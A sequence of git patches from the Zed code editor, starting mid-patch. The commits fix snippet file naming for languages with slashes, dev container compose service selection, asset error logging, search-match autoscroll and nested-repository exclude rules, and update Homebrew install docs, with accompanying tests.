+            assert_eq!(
+                unsafe { libc::kill(pid, 0) },
+                0,
+                "process {pid} should be running before the terminal is dropped"
+            );
+        }
+
+        // The foreground-group escalation is only exercised if `set -m`
+        // actually placed the foreground job in its own process group; assert
+        // the arrangement so this test fails loudly instead of silently
+        // degrading into a shell-group-only test.
+        let shell_pgid = unsafe { libc::getpgid(shell_pid) };
+        let foreground_pgid = unsafe { libc::getpgid(foreground_sleep_pid) };
+        assert!(shell_pgid > 0 && foreground_pgid > 0);
+        assert_ne!(
+            foreground_pgid, shell_pgid,
+            "job control should place the foreground sleep in its own process group"
+        );
+        assert_eq!(
+            unsafe { libc::getpgid(background_sleep_pid) },
+            shell_pgid,
+            "the background sleep should stay in the shell's process group"
+        );
+
+        drop(terminal);
+        // Flush effects so the released terminal entity is actually dropped.
+        cx.update(|_| {});
+
+        for _ in 0..300 {
+            let background_dead = unsafe { libc::kill(background_sleep_pid, 0) } != 0;
+            let foreground_dead = unsafe { libc::kill(foreground_sleep_pid, 0) } != 0;
+            if background_dead && foreground_dead {
+                return;
+            }
+            cx.background_executor
+                .timer(Duration::from_millis(10))
+                .await;
+        }
+        panic!(
+            "processes survived dropping the terminal: background sleep {background_sleep_pid} \
+             alive: {}, foreground sleep {foreground_sleep_pid} alive: {}",
+            unsafe { libc::kill(background_sleep_pid, 0) } == 0,
+            unsafe { libc::kill(foreground_sleep_pid, 0) } == 0,
+        );
+    }
+
     /// Test that kill_active_task on a task that's not running is a no-op
     #[gpui::test]
     async fn test_kill_active_task_on_completed_task_is_noop(cx: &mut TestAppContext) {

From c3422b97a9e765db70ada8dc30066a76e393fd1c Mon Sep 17 00:00:00 2001
From: Ibrahim Khan <2005ibrahimkhan@gmail.com>
Date: Thu, 23 Jul 2026 04:49:39 +0000
Subject: [PATCH 646/772] snippets: Strip path separators from language snippet
 file names (#61421)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Closes #59620

## Problem

A language whose name contains a `/`, such as a custom `PL/X` extension
(`lsp_id` → `pl/x`), broke snippets end to end:

- The `snippets: configure snippets` action wrote the file to
`~/.config/zed/snippets/pl/x.json`, i.e. inside a `pl/` subdirectory.
- The snippet scanner reads `snippets/` non-recursively and skips
directories, so that file was never loaded and the snippet could never
be used.
- The completion lookup keyed off the raw `lsp_id` (`pl/x`), which
wouldn't have matched the file-stem key even if the file had been
scanned.

So Zed's own UI created a snippet file it could never read back.

## Fix

Add `LanguageName::snippet_scope_id()` (the `lsp_id` with `/` and `\`
removed) and use it everywhere a language maps to its snippet file name
or lookup key:

- the Configure Snippets writer and its "already configured" label, and
- the two completion lookups in `editor`.

`PL/X` now maps to a flat `plx.json`, as suggested in the issue. The
`editor::InsertSnippet` action is intentionally left unchanged: its
`language` field is documented to be the snippet file name stem, which
is already separator-free.

Note: files created under the old behavior (nested `foo/bar.json`)
aren't migrated; re-running Configure Snippets writes the corrected flat
file.

## Testing

- Added a `language_core` unit test asserting `snippet_scope_id()`
strips `/` and `\` (e.g. `PL/X` → `plx`).
- `cargo test -p language_core` passes.
- `./script/clippy -p language_core -p language` passes.
- Docs Prettier passes.

Release Notes:

- Fixed snippets being unusable for languages whose name contains a `/`
character
---
 crates/editor/src/completions.rs          |  4 +--
 crates/language/src/language.rs           |  4 +++
 crates/language_core/src/language_name.rs | 33 +++++++++++++++++++++++
 crates/snippets_ui/src/snippets_ui.rs     |  4 +--
 docs/src/snippets.md                      |  2 ++
 5 files changed, 43 insertions(+), 4 deletions(-)

diff --git a/crates/editor/src/completions.rs b/crates/editor/src/completions.rs
index 8ad37dcfd63ec4..e649c6dd623a6c 100644
--- a/crates/editor/src/completions.rs
+++ b/crates/editor/src/completions.rs
@@ -1140,7 +1140,7 @@ fn has_strong_snippet_prefix_match(
 
     languages.iter().any(|language| {
         snippet_store
-            .snippets_for(Some(language.lsp_id()), cx)
+            .snippets_for(Some(language.snippet_scope_id()), cx)
             .iter()
             .flat_map(|snippet| snippet.prefix.iter())
             .flat_map(|prefix| snippet_candidate_suffixes(prefix, &is_word_char))
@@ -1161,7 +1161,7 @@ fn snippet_completions(
     let scopes: Vec<_> = languages
         .iter()
         .filter_map(|language| {
-            let language_name = language.lsp_id();
+            let language_name = language.snippet_scope_id();
             let snippets = snippet_store.snippets_for(Some(language_name), cx);
 
             if snippets.is_empty() {
diff --git a/crates/language/src/language.rs b/crates/language/src/language.rs
index 9a031347ec0422..e88e6a4d1effd5 100644
--- a/crates/language/src/language.rs
+++ b/crates/language/src/language.rs
@@ -1165,6 +1165,10 @@ impl Language {
         self.config.name.lsp_id()
     }
 
+    pub fn snippet_scope_id(&self) -> String {
+        self.config.name.snippet_scope_id()
+    }
+
     pub fn prettier_parser_name(&self) -> Option<&str> {
         self.config.prettier_parser_name.as_deref()
     }
diff --git a/crates/language_core/src/language_name.rs b/crates/language_core/src/language_name.rs
index 14528435d9103b..97ffa3166e53ed 100644
--- a/crates/language_core/src/language_name.rs
+++ b/crates/language_core/src/language_name.rs
@@ -51,6 +51,16 @@ impl LanguageName {
             language_name => language_name.to_lowercase(),
         }
     }
+
+    /// Identifier used to name and look up this language's snippet file.
+    ///
+    /// Path separators are stripped from the `lsp_id` because the snippet file
+    /// is stored as a flat file directly under the snippets directory; a `/`
+    /// (or `\`) would otherwise place it in a subdirectory that is never
+    /// scanned, making the snippet impossible to use.
+    pub fn snippet_scope_id(&self) -> String {
+        self.lsp_id().replace(['/', '\\'], "")
+    }
 }
 
 impl From<LanguageName> for SharedString {
@@ -107,3 +117,26 @@ impl From<LanguageName> for String {
         Self::from(value)
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn snippet_scope_id_strips_path_separators() {
+        // A `/` or `\` in the language name would route the snippet file into a
+        // subdirectory that is never scanned (see issue #59620).
+        assert_eq!(LanguageName::new("PL/X").snippet_scope_id(), "plx");
+        assert_eq!(LanguageName::new("a\\b").snippet_scope_id(), "ab");
+        // Names without separators are unchanged beyond `lsp_id`'s lowercasing.
+        assert_eq!(LanguageName::new("Rust").snippet_scope_id(), "rust");
+        assert_eq!(
+            LanguageName::new("Shell Script").snippet_scope_id(),
+            "shell script"
+        );
+        assert_eq!(
+            LanguageName::new("Plain Text").snippet_scope_id(),
+            "plaintext"
+        );
+    }
+}
diff --git a/crates/snippets_ui/src/snippets_ui.rs b/crates/snippets_ui/src/snippets_ui.rs
index 22d77bb71f101c..5f5a26faa4aeeb 100644
--- a/crates/snippets_ui/src/snippets_ui.rs
+++ b/crates/snippets_ui/src/snippets_ui.rs
@@ -220,7 +220,7 @@ impl PickerDelegate for ScopeSelectorDelegate {
                 cx.spawn_in(window, async move |_, cx| {
                     let scope_file_name = ScopeFileName(match scope_name.to_lowercase().as_str() {
                         GLOBAL_SCOPE_NAME => Cow::Borrowed(GLOBAL_SCOPE_FILE_NAME),
-                        _ => Cow::Owned(language.await?.lsp_id()),
+                        _ => Cow::Owned(language.await?.snippet_scope_id()),
                     });
 
                     workspace.update_in(cx, |workspace, window, cx| {
@@ -322,7 +322,7 @@ impl PickerDelegate for ScopeSelectorDelegate {
         let name_label = mat.string.clone();
 
         let scope_name = ScopeName(Cow::Owned(
-            LanguageName::new(&self.candidates[mat.candidate_id].string).lsp_id(),
+            LanguageName::new(&self.candidates[mat.candidate_id].string).snippet_scope_id(),
         ));
         let file_label = if self.existing_scopes.contains(&scope_name) {
             Some(ScopeFileName::from(scope_name).with_extension())
diff --git a/docs/src/snippets.md b/docs/src/snippets.md
index d0852052910153..96f00700c7d74a 100644
--- a/docs/src/snippets.md
+++ b/docs/src/snippets.md
@@ -39,6 +39,8 @@ The scope is determined by the language name in lowercase e.g. `python.json` for
 
 To create JSX snippets you have to use `javascript.json` snippets file, instead of `jsx.json`, but this does not apply to TSX and TypeScript which follow the above rule.
 
+Path separators (`/` and `\`) are removed from the file name, so a language named `PL/X` uses `plx.json`.
+
 ## Known Limitations
 
 - Only the first prefix is used when a list of prefixes is passed in.

From 6a8eb56faf5e7c8677cf9183967e088455d85527 Mon Sep 17 00:00:00 2001
From: Phil Schalm <pnomolos@gmail.com>
Date: Thu, 23 Jul 2026 05:11:37 +0000
Subject: [PATCH 647/772] dev_container: Build the primary compose service when
 runServices omits it (#61434)

# Objective

- Fix a bug that caused a dev container configuration which used both a
docker-compose file _and_ `runServices` to incorrectly drop the primary
service.

## Solution

- Disclosure: Claude wrote the Rust but I understand the implementation
- Prior to the change, `run_services` was passed unchanged. However, the
dev container CLI adds the primary if it hasn't been specified - [ref
this
code](https://github.com/devcontainers/cli/blob/f683c29f64a20109b4453e5149807e390ff65133/src/spec-node/dockerCompose.ts#L276-L281)

This PR updates Zed to adhere to that behaviour

## Testing

- I tested both manually against a minimal reproduction case, as well as
a live configuration that was the original reason for creating this PR
- I tested this on OS X. While I believe the PR is far enough abstracted
from the platform, it's always possible that Windows is doing something
weird. I don't expect that, however.
- To reproduce either use the following [sample
repo](https://github.com/user-attachments/files/30256541/devcontainer-repro.zip)
or attempt to build a **clean** docker container for a dev container
configuration which utilizes both `runServices` as well as a
`docker-compose.yml` file.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Dev containers: Fix for docker compose behaviour that caused
`runServices` to not implicitly include the primary service if it wasn't
explicitly listed

---------

Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Co-authored-by: Chris Biscardi <chris@christopherbiscardi.com>
---
 .../src/devcontainer_manifest.rs              | 176 +++++++++++++++++-
 1 file changed, 172 insertions(+), 4 deletions(-)

diff --git a/crates/dev_container/src/devcontainer_manifest.rs b/crates/dev_container/src/devcontainer_manifest.rs
index 357ecbf1860c44..d3ee79cf888510 100644
--- a/crates/dev_container/src/devcontainer_manifest.rs
+++ b/crates/dev_container/src/devcontainer_manifest.rs
@@ -1186,11 +1186,13 @@ RUN sed -i -E 's/((^|\s)PATH=)([^\$]*)$/\1\${{PATH:-\3}}/g' /etc/profile || true
             docker_compose_resources.files.push(config_location);
 
             let project_name = self.project_name().await?;
+            let compose_services =
+                compose_service_list(&main_service_name, dev_container.run_services.as_ref());
             self.docker_client
                 .docker_compose_build(
                     &docker_compose_resources.files,
                     &project_name,
-                    dev_container.run_services.as_ref(),
+                    compose_services.as_ref(),
                 )
                 .await?;
             (
@@ -1283,11 +1285,13 @@ RUN sed -i -E 's/((^|\s)PATH=)([^\$]*)$/\1\${{PATH:-\3}}/g' /etc/profile || true
                 docker_compose_resources.files.push(config_location);
 
                 let project_name = self.project_name().await?;
+                let compose_services =
+                    compose_service_list(&main_service_name, dev_container.run_services.as_ref());
                 self.docker_client
                     .docker_compose_build(
                         &docker_compose_resources.files,
                         &project_name,
-                        dev_container.run_services.as_ref(),
+                        compose_services.as_ref(),
                     )
                     .await?;
 
@@ -2023,6 +2027,13 @@ RUN sed -i -E 's/((^|\s)PATH=)([^\$]*)$/\1\${PATH:-\3}/g' /etc/profile || true
     ) -> Result<(), DevContainerError> {
         let mut command = Command::new(self.docker_client.docker_cli());
         let project_name = self.project_name().await?;
+        let compose_services = match self.dev_container().run_services.as_ref() {
+            Some(run_services) => {
+                let (main_service_name, _) = find_primary_service(&resources, self)?;
+                compose_service_list(&main_service_name, Some(run_services))
+            }
+            None => None,
+        };
         command.args(&["compose", "--project-name", &project_name]);
         for docker_compose_file in &resources.files {
             command.args(&["-f", &docker_compose_file.display().to_string()]);
@@ -2031,8 +2042,8 @@ RUN sed -i -E 's/((^|\s)PATH=)([^\$]*)$/\1\${PATH:-\3}/g' /etc/profile || true
         if matches!(behavior, ComposeUpBehavior::Resume) {
             command.arg("--no-recreate");
         }
-        if let Some(run_services) = self.dev_container().run_services.as_ref() {
-            command.args(run_services);
+        if let Some(services) = compose_services.as_ref() {
+            command.args(services);
         }
 
         let output = self
@@ -2791,6 +2802,24 @@ fn find_primary_service(
     }
 }
 
+/// The compose service list for `build` and `up`. Per the devcontainer spec
+/// `runServices` are *additional*, so the primary `service` is always prepended.
+/// `None` (no `runServices`) lets compose operate every service.
+fn compose_service_list(
+    main_service_name: &str,
+    run_services: Option<&Vec<String>>,
+) -> Option<Vec<String>> {
+    let run_services = run_services?;
+    let mut services = Vec::with_capacity(run_services.len() + 1);
+    services.push(main_service_name.to_string());
+    for service in run_services {
+        if service != main_service_name {
+            services.push(service.clone());
+        }
+    }
+    Some(services)
+}
+
 /// Resolves a compose service's dockerfile path according to the Docker Compose spec:
 /// `dockerfile` is relative to the build `context`, and `context` is relative to
 /// the compose file's directory.
@@ -5165,6 +5194,130 @@ ENV DOCKER_BUILDKIT=1
         )
     }
 
+    #[gpui::test]
+    async fn test_compose_build_includes_primary_service_when_run_services_excludes_it(
+        cx: &mut TestAppContext,
+    ) {
+        cx.executor().allow_parking();
+        env_logger::try_init().ok();
+        // `app` (the primary `service`) is intentionally left out of `runServices`;
+        // the spec still implies it, so its features image must still be built.
+        let given_devcontainer_contents = r#"
+            {
+              "features": {
+                "ghcr.io/devcontainers/features/aws-cli:1": {},
+                "ghcr.io/devcontainers/features/docker-in-docker:2": {},
+              },
+              "name": "Rust and PostgreSQL",
+              "dockerComposeFile": "docker-compose.yml",
+              "service": "app",
+              "runServices": ["db"],
+              "workspaceFolder": "/workspaces/${localWorkspaceFolderBasename}"
+            }
+            "#;
+        let (test_dependencies, mut devcontainer_manifest) =
+            init_default_devcontainer_manifest(cx, given_devcontainer_contents)
+                .await
+                .unwrap();
+
+        test_dependencies
+            .fs
+            .atomic_write(
+                PathBuf::from(TEST_PROJECT_PATH).join(".devcontainer/docker-compose.yml"),
+                r#"
+volumes:
+    postgres-data:
+
+services:
+    app:
+        build:
+            context: .
+            dockerfile: Dockerfile
+        volumes:
+            - ../..:/workspaces:cached
+        command: sleep infinity
+        network_mode: service:db
+
+    db:
+        image: postgres:14.1
+        restart: unless-stopped
+        volumes:
+            - postgres-data:/var/lib/postgresql/data
+                    "#
+                .trim()
+                .to_string(),
+            )
+            .await
+            .unwrap();
+
+        test_dependencies
+            .fs
+            .atomic_write(
+                PathBuf::from(TEST_PROJECT_PATH).join(".devcontainer/Dockerfile"),
+                r#"
+FROM mcr.microsoft.com/devcontainers/rust:2-1-bookworm
+RUN apt-get update
+                "#
+                .trim()
+                .to_string(),
+            )
+            .await
+            .unwrap();
+
+        devcontainer_manifest.parse_nonremote_vars().unwrap();
+
+        let _devcontainer_up = devcontainer_manifest.build_and_run().await.unwrap();
+
+        let recorded = test_dependencies.docker.recorded_compose_build_services();
+        let build_services = recorded
+            .iter()
+            .find_map(|services| services.clone())
+            .expect("docker_compose_build should have been invoked with a service list");
+
+        assert!(
+            build_services.iter().any(|s| s == "app"),
+            "compose build must include the primary service `app` even when \
+             runServices omits it; got {build_services:?}"
+        );
+        assert_eq!(
+            build_services.iter().filter(|s| *s == "app").count(),
+            1,
+            "primary service `app` must appear exactly once (de-duplicated); \
+             got {build_services:?}"
+        );
+
+        // The implied-primary rule applies to `up -d` too, not just the build.
+        let docker_commands = test_dependencies
+            .command_runner
+            .commands_by_program("docker");
+        let compose_up = docker_commands
+            .iter()
+            .find(|c| {
+                c.args.first().map(String::as_str) == Some("compose")
+                    && c.args.iter().any(|a| a == "up")
+            })
+            .expect("docker compose up command recorded");
+        let up_index = compose_up
+            .args
+            .iter()
+            .position(|a| a == "up")
+            .expect("up token present");
+        let up_service_args = &compose_up.args[up_index + 2..];
+        assert!(
+            up_service_args.iter().any(|s| s == "app"),
+            "compose up must start the primary service `app` even when \
+             runServices omits it; got {:?}",
+            compose_up.args
+        );
+        assert_eq!(
+            up_service_args.iter().filter(|s| *s == "app").count(),
+            1,
+            "primary service `app` must appear exactly once in the up service \
+             args (de-duplicated); got {:?}",
+            compose_up.args
+        );
+    }
+
     #[test]
     fn derive_project_name_env_wins_over_everything() {
         // CLI precedence rule 1: `COMPOSE_PROJECT_NAME` env var short-circuits
@@ -7141,6 +7294,9 @@ RUN echo $RUBY_VERSION2
         /// `MultipleMatchingContainers` with these IDs. Used to exercise the
         /// duplicate-container error path.
         duplicate_container_ids: Mutex<Option<Vec<String>>>,
+        /// Records the `services` argument passed to each `docker_compose_build`
+        /// call so tests can assert which services were built.
+        compose_build_services: Mutex<Vec<Option<Vec<String>>>>,
     }
 
     impl FakeDocker {
@@ -7150,8 +7306,16 @@ RUN echo $RUBY_VERSION2
                 has_buildx: true,
                 exec_commands_recorded: Mutex::new(Vec::new()),
                 duplicate_container_ids: Mutex::new(None),
+                compose_build_services: Mutex::new(Vec::new()),
             }
         }
+
+        fn recorded_compose_build_services(&self) -> Vec<Option<Vec<String>>> {
+            self.compose_build_services
+                .lock()
+                .expect("should be available")
+                .clone()
+        }
         #[cfg(not(target_os = "windows"))]
         fn set_podman(&mut self, podman: bool) {
             self.podman = podman;
@@ -7467,6 +7631,10 @@ RUN echo $RUBY_VERSION2
             _project_name: &str,
             _services: Option<&Vec<String>>,
         ) -> Result<(), DevContainerError> {
+            self.compose_build_services
+                .lock()
+                .expect("should be available")
+                .push(_services.cloned());
             Ok(())
         }
         async fn run_docker_exec(

From 0abb180c0eb83326158dec28afe709146a3fa9c1 Mon Sep 17 00:00:00 2001
From: Zeldris <80939130+zeldrisho@users.noreply.github.com>
Date: Thu, 23 Jul 2026 05:26:09 +0000
Subject: [PATCH 648/772] docs: Use official brew cask (#61495)

https://formulae.brew.sh/cask/zed
---
 docs/.rules                 | 4 ++--
 docs/src/migrate/vs-code.md | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/docs/.rules b/docs/.rules
index a7dbf1662c8e65..865980e1d93344 100644
--- a/docs/.rules
+++ b/docs/.rules
@@ -61,12 +61,12 @@ For reference content:
 Use `sh` code blocks for terminal commands, not plain backticks:
 
 ```sh
-brew install zed-editor/zed/zed
+brew install --cask zed
 ```
 
 Not:
 ```
-brew install zed-editor/zed/zed
+brew install --cask zed
 ```
 
 For single inline commands in prose, backticks are fine: `zed .`
diff --git a/docs/src/migrate/vs-code.md b/docs/src/migrate/vs-code.md
index 5bc8db48a2f98f..e3f14bd6cd11cf 100644
--- a/docs/src/migrate/vs-code.md
+++ b/docs/src/migrate/vs-code.md
@@ -14,7 +14,7 @@ It covers which settings import automatically, which shortcuts map cleanly, and
 Zed is available on macOS, Windows, and Linux.
 
 For macOS, you can download it from zed.dev/download, or install via Homebrew:
-`brew install zed-editor/zed/zed`
+`brew install --cask zed`
 
 For most Linux users, the easiest way to install Zed is through our installation script:
 `curl -f https://zed.dev/install.sh | sh`

From dc682ef12096b799a7e2d247db842ec0219f3bbd Mon Sep 17 00:00:00 2001
From: Earthgames <91308448+Earthgames@users.noreply.github.com>
Date: Thu, 23 Jul 2026 06:26:38 +0000
Subject: [PATCH 649/772] Print Asset Error with the whole context (#61482)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

So while using gpui I didn't know that you needed to register a
http_client if you wanted to use images with a link as a source.
So I enabled logs, and I did get errors.
```
20:48:11 [ERROR] Failed to load asset2: error: loading image asset from "https://im.fumo.ing/tLNyIY4n7PEG.jpg"
```
But they didn't tell me what was wrong.

## Solution

I change 2 lines to print the whole error with all the context.

```
20:49:09 [ERROR] Failed to load asset2: Other(loading image asset from "https://im.fumo.ing/tLNyIY4n7PEG.jpg"

Caused by:
    No HttpClient available)
```
And now it does tell you why it doesn't work. ✨Amazing✨.

## Testing

Because I did change the traits needed for the AssetLogger I build zed
to check if it didn't break anything. And it build, so it fine I think.

A quick way to test the change in logging is the gpui example
`image_gallery.rs` and commenting the lines 259 & 260
```rust
        #[cfg(not(target_family = "wasm"))]
        {
            let http_client = ReqwestClient::user_agent("gpui example").unwrap();
            cx.set_http_client(Arc::new(http_client));
        }
```
Or change the URI on line 42 to something non existing.

## Self-Review Checklist:

- [X] I've reviewed my own diff for quality, security, and reliability
- [X] Unsafe blocks (if any) have justifying comments
- [X] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [X] Tests cover the new/changed behavior
- [X] Performance impact has been considered and is acceptable

Release Notes:

- Improved Error logging for Asset loading
---
 crates/gpui/src/asset_cache.rs | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/crates/gpui/src/asset_cache.rs b/crates/gpui/src/asset_cache.rs
index bab0b2682ef459..bd1271541ab720 100644
--- a/crates/gpui/src/asset_cache.rs
+++ b/crates/gpui/src/asset_cache.rs
@@ -61,7 +61,7 @@ impl<T, R, E> Asset for AssetLogger<T>
 where
     T: Asset<Output = Result<R, E>>,
     R: Clone + Send,
-    E: Clone + Send + std::fmt::Display,
+    E: Clone + Send + Debug,
 {
     type Source = T::Source;
 
@@ -72,7 +72,7 @@ where
         cx: &mut App,
     ) -> impl Future<Output = Self::Output> + Send + 'static {
         let load = T::load(source, cx);
-        load.inspect_err(|e| log::error!("Failed to load asset: {}", e))
+        load.inspect_err(|e| log::error!("Failed to load asset: {:?}", e))
     }
 }
 

From 6e1e050738edae5d145d160ebdf65e1dc25ba3ee Mon Sep 17 00:00:00 2001
From: vinod akshat <pumkininriver@gmail.com>
Date: Thu, 23 Jul 2026 06:38:04 +0000
Subject: [PATCH 650/772] editor: Fix horizontal autoscroll only revealing part
 of search matches (#61487)

# Objective

- While navigating between search matches with word wrap off via Select
Next match and Select Previous Match, the horizontal autoscroll would
sometimes fail to scroll the viewport enough to show the full searched
word. This happened in both the cases of Previous match and next search
till we had to come to the first appearance of the word.
- Fixes #61409

## Solution

- In `/crates/editor/src/scroll/autoscroll.rs` the function
`autoscroll_horizontally`, the scroll bounds were both being derived
from `selection.head()`, I inferred that head is the position of the
cursor at the end of the selection. But for the correct `start_column`
and `end_column` it needs to depend not just on the cursor at the end.
So rather than using the head for the calculation for both, I have
calculated them using `selection.start` and `selection.end` directly to
display pts.
- Falling back to col 0 or the full line length when the start or end
lies on different row than the current being processed. Now it scrolls
enough to reveal the entire match.

## Testing

- Did you test these changes? If so, how?
1. Ran full tests using `cargo test` on the full repository
2. Manual test present in the showcase section

- How can other people (reviewers) test your changes? Is there anything
specific they need to know?
Disable word wrap, create a file with a short match near the start of a
long unwrapped line and another match further right, search for it, and
use Select Next/Previous Match to jump between them. The full match
should scroll into view each time.

- If relevant, what platforms did you test these changes on, and are
there any important ones you can't test?
Tested on macOS Tahoe 26.5.2

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

## Showcase



https://github.com/user-attachments/assets/ace25b26-560d-47f1-a905-f04879f23f15



---

Release Notes:

- Fixed horizontal autoscroll not fully revealing search matches when
  navigating between matches with word wrap disabled.
---
 crates/editor/src/scroll/autoscroll.rs | 20 ++++++++++++++++++--
 1 file changed, 18 insertions(+), 2 deletions(-)

diff --git a/crates/editor/src/scroll/autoscroll.rs b/crates/editor/src/scroll/autoscroll.rs
index 96386757248e2d..5b6cff71c7b6fb 100644
--- a/crates/editor/src/scroll/autoscroll.rs
+++ b/crates/editor/src/scroll/autoscroll.rs
@@ -387,8 +387,24 @@ impl Editor {
                 if head.row() >= start_row
                     && head.row() < DisplayRow(start_row.0 + layouts.len() as u32)
                 {
-                    let start_column = head.column();
-                    let end_column = cmp::min(display_map.line_len(head.row()), head.column());
+                    let row_line_len = display_map.line_len(head.row());
+                    let start_dp = selection.start.to_display_point(&display_map);
+                    let end_dp = selection.end.to_display_point(&display_map);
+
+                    let start_column = if start_dp.row() == head.row() {
+                        start_dp.column()
+                    } else {
+                        0
+                    };
+                    let end_column = cmp::min(
+                        row_line_len,
+                        if end_dp.row() == head.row() {
+                            end_dp.column()
+                        } else {
+                            row_line_len
+                        },
+                    );
+
                     target_left = target_left.min(ScrollOffset::from(
                         layouts[head.row().minus(start_row) as usize]
                             .x_for_index(start_column as usize)

From 3cee61d75f582e345faa43e2291e371534f223dd Mon Sep 17 00:00:00 2001
From: Eric Holk <eric@zed.dev>
Date: Thu, 23 Jul 2026 07:24:08 +0000
Subject: [PATCH 651/772] worktree: Apply outer repository excludes within
 nested repositories (#61492)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Closes TRA-162

When an entry's ignore stack is rebuilt from scratch (opening a file,
file system events, a search that includes ignored files),
`ignore_stack_for_abs_path` only consulted the `.git/info/exclude` rules
of the nearest ancestor containing `.git`. For a path inside a nested
repository, that nearest ancestor is the nested repository itself, so
the outer repository's exclude rules were silently dropped: entries that
were correctly ignored after the initial scan would flip to unignored
the moment they were loaded or changed on disk, and from then on project
search would surface them.

This is the same class of bug that #60772 fixed for ancestor
`.gitignore` files — this change extends the fix to `info/exclude` by
collecting the exclude rules of every containing repository (outermost
first, mirroring how ancestor gitignores are stacked) instead of just
the innermost one.

Added a regression test that models the affected layout: a bare clone
and a linked worktree of it kept inside the repository, hidden via
anchored patterns in the outer repository's `.git/info/exclude`.

Release Notes:

- Fixed project search returning results from inside nested repositories
that are excluded by the containing repository's `.git/info/exclude`
file.
---
 crates/worktree/src/worktree.rs               |  15 +-
 .../tests/integration/worktree_tests.rs       | 155 ++++++++++++++++++
 2 files changed, 165 insertions(+), 5 deletions(-)

diff --git a/crates/worktree/src/worktree.rs b/crates/worktree/src/worktree.rs
index ee83eb6544982d..1edef7e5b66802 100644
--- a/crates/worktree/src/worktree.rs
+++ b/crates/worktree/src/worktree.rs
@@ -3055,6 +3055,7 @@ impl LocalSnapshot {
         fs: &dyn Fs,
     ) -> IgnoreStack {
         let mut new_ignores = Vec::new();
+        let mut repo_excludes = Vec::new();
         let mut repo_root = None;
         for (index, ancestor) in abs_path.ancestors().enumerate() {
             if index > 0 {
@@ -3065,6 +3066,13 @@ impl LocalSnapshot {
                 }
             }
 
+            // Collect the `info/exclude` rules of every containing repository, not just
+            // the innermost one: a nested repository's files are still governed by the
+            // exclude rules of the outer repository that contains it.
+            if let Some((repo_exclude, _)) = self.repo_exclude_by_work_dir_abs_path.get(ancestor) {
+                repo_excludes.push(repo_exclude.clone());
+            }
+
             if repo_root.is_none() {
                 let metadata = fs.metadata(&ancestor.join(DOT_GIT)).await.ok().flatten();
                 if metadata.is_some() {
@@ -3079,11 +3087,8 @@ impl LocalSnapshot {
             IgnoreStack::none()
         };
 
-        if let Some((repo_exclude, _)) = repo_root
-            .as_ref()
-            .and_then(|abs_path| self.repo_exclude_by_work_dir_abs_path.get(abs_path))
-        {
-            ignore_stack = ignore_stack.append(IgnoreKind::RepoExclude, repo_exclude.clone());
+        for repo_exclude in repo_excludes.into_iter().rev() {
+            ignore_stack = ignore_stack.append(IgnoreKind::RepoExclude, repo_exclude);
         }
         ignore_stack.repo_root = repo_root;
         let mut ancestor_ignore_stack = ignore_stack.clone();
diff --git a/crates/worktree/tests/integration/worktree_tests.rs b/crates/worktree/tests/integration/worktree_tests.rs
index a9a673d10e7a55..6e2c2a947051fd 100644
--- a/crates/worktree/tests/integration/worktree_tests.rs
+++ b/crates/worktree/tests/integration/worktree_tests.rs
@@ -3819,6 +3819,161 @@ async fn test_repo_exclude_anchored_pattern(executor: BackgroundExecutor, cx: &m
     });
 }
 
+#[gpui::test]
+async fn test_repo_exclude_applies_within_nested_repos(
+    executor: BackgroundExecutor,
+    cx: &mut TestAppContext,
+) {
+    init_test(cx);
+
+    let fs = FakeFs::new(executor);
+    let project_dir = Path::new(path!("/project"));
+
+    // Mirrors the layout used by tools that keep working copies of the
+    // repository inside the repository itself: a bare clone in
+    // `.scratch/clones` and a linked worktree of that clone in
+    // `.scratch/worktrees`, both hidden via the outer repository's
+    // `.git/info/exclude` rather than a `.gitignore`.
+    fs.insert_tree(
+        project_dir,
+        json!({
+            ".git": {
+                "info": {
+                    "exclude": "/.scratch/worktrees/\n/.scratch/clones/\n"
+                }
+            },
+            "src": {
+                "main.rs": "fn main() {}",
+            },
+            ".scratch": {
+                "clones": {
+                    "abc": {
+                        "project.git": {
+                            "HEAD": "ref: refs/heads/main",
+                            "worktrees": {
+                                "project": {
+                                    "HEAD": "ref: refs/heads/feature",
+                                    "commondir": "../..",
+                                }
+                            }
+                        }
+                    }
+                },
+                "worktrees": {
+                    "abc": {
+                        "project": {
+                            ".git": "gitdir: ../../../clones/abc/project.git/worktrees/project",
+                            "src": {
+                                "main.rs": "fn main() {}",
+                            }
+                        }
+                    }
+                }
+            }
+        }),
+    )
+    .await;
+
+    let worktree = Worktree::local(
+        project_dir,
+        true,
+        fs.clone(),
+        Default::default(),
+        true,
+        WorktreeId::from_proto(0),
+        &mut cx.to_async(),
+    )
+    .await
+    .unwrap();
+    worktree
+        .update(cx, |worktree, _| {
+            worktree.as_local().unwrap().scan_complete()
+        })
+        .await;
+    cx.run_until_parked();
+
+    // After the initial scan, both excluded directories are ignored.
+    worktree.update(cx, |worktree, _cx| {
+        check_worktree_entries(
+            worktree,
+            WorktreeExpectations {
+                ignored_paths: &[".scratch/clones", ".scratch/worktrees"],
